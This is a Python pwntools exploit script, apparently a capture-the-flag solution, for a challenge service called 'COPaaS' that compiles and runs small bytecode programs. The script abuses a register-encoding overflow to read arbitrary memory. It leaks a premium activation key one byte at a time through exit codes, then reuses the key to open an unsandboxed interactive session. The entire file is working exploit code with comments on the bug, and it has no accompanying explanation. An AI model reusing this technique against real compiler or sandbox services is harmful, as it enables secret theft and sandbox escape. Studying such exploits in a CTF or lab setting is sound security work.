#! /usr/bin/env python3
from enum import IntEnum

from pwn import *


class Opcode(IntEnum):
    ADD = 0
    ADDI = 1
    SUB = 2
    COPY = 3
    LOADI = 4


class Register(IntEnum):
    A = 0
    B = 1
    C = 2
    D = 3
    E = 4
    F = 5
    G = 6
    H = 7
    I = 8
    J = 9
    K = 10
    L = 11
    M = 12
    N = 13

    def has_highest_bit_set(self):
        return (self.map_to_reg_id() & 0b1000) > 0

    def map_to_reg_id(self):
        lookup = [
            0b0000,  # A is mapped to rax
            0b0011,  # B to rbx
            0b0001,  # C to rcx
            0b0010,  # D to rdx
            0b0110,  # E to rsi
            0b0111,  # F to rdi
            0b1000,  # G to r8
            0b1001,  # H to r9
            0b1010,  # I to r10
            0b1011,  # J to r11
            0b1100,  # K to r12
            0b1101,  # L to r13
            0b1110,  # M to r14
            0b1111,  # N to r15
        ]
        return lookup[self]


INSTR_LEN = 8


def instr_i(opcode, reg1, imm: int):
    assert (opcode == Opcode.ADDI or opcode == Opcode.LOADI)
    return bytes([opcode, reg1, 0, 0]) + imm.to_bytes(4, byteorder='little')


def instr_r(opcode, reg1, reg2):
    assert (opcode == Opcode.ADD or opcode == Opcode.SUB or opcode == Opcode.COPY)
    return bytes([opcode, reg1, 0, 0, reg2, 0, 0, 0])


def load_rsp(dst_reg: Register):
    assert (dst_reg.has_highest_bit_set())
    # use bug to overflow into rbx register encoding
    # register_id[rbx] + 1 = 0b0011 + 1 = register_id[rsp]
    return instr_r(Opcode.COPY, dst_reg, Register.B)


def arbitrary_read(dst: Register, src: Register):
    assert (dst.has_highest_bit_set() and not src.has_highest_bit_set())
    # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
    # 0b11000000 + (register_id[dst] << 3) = 0b00XXX000
    # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register byte
    return instr_r(Opcode.ADD, dst, src)


def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
    p = remote("localhost", 1337, fam="ipv4")
    p.recvuntil(b"Password: ")
    p.sendline(b"1234")

    log.info(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode())
    log.info(p.recvuntil(b"? (y/N):").decode())
    if key is not None:
        p.sendline(b"y")
        log.info(p.recvuntil(b"Then please enter your activation key:").decode())
        p.sendline(key)
        if is_real_key:
            log.info(p.recvuntil(b"Using premium version! No sandbox for you!\n").decode())
        else:
            log.info(p.recvuntil(b"Using the demo version!").decode())
    else:
        p.sendline(b"N")
        log.info(p.recvuntil(b"Using the demo version!").decode())
    return p


def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
    log.info(p.recvuntil(b"should it bee?").decode())
    len_msg = str(len(program) // INSTR_LEN)
    log.info(f"Sending: {len_msg}")
    p.sendline(len_msg.encode())
    log.info(p.recvuntil(b"Now your program:").decode())
    log.info(f"Sending program: {str(program)}")
    p.send(program)
    log.info(p.recvuntil(b"Your program exited with ").decode())
    exit_code = int(p.recvuntil(b"!", drop=True))
    log.info(f"Retrieved exit code {exit_code}!")
    log.info(f"As char: {bytes([exit_code]).decode()}")
    return exit_code

def extract_premium_key():
    offset_saved_rip_to_activation_key = 0x396d

    premium_key = b""

    p = connect(b"", False)
    i = 0
    while i < 0x80:
        program = instr_r(Opcode.ADD, Register.K, Register.A)  # arbitrary
        program += instr_i(Opcode.LOADI, Register.A, 0x90909090)

        program = load_rsp(Register.G)  # mov r8, rsp
        program += instr_r(Opcode.ADD, Register.A,
                           Register.G)  # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
        program += arbitrary_read(Register.H, Register.C)  # add r9, [rcx]
        program += instr_r(Opcode.ADD, Register.C,
                           Register.H)  # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
        program += instr_i(Opcode.ADDI, Register.D,
                           offset_saved_rip_to_activation_key + i)  # add rdx, offset_saved_rip_to_activation_key
        program += arbitrary_read(Register.I, Register.D)  # add r10, [rdx]
        program += instr_r(Opcode.ADD, Register.D,
                           Register.I)  # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
        program += instr_r(Opcode.COPY, Register.A, Register.B)  # mov rax, rbx

        exit_code = exec_program(p, program)
        if exit_code == 0:
            break
        as_char = bytes([exit_code])
        premium_key += as_char
        print(as_char.decode(), end="")
        i += 1
    print("")
    p.close()
    return premium_key

context.log_level = 'warn'

premium_key = extract_premium_key()

p = connect(premium_key, True)
p.interactive()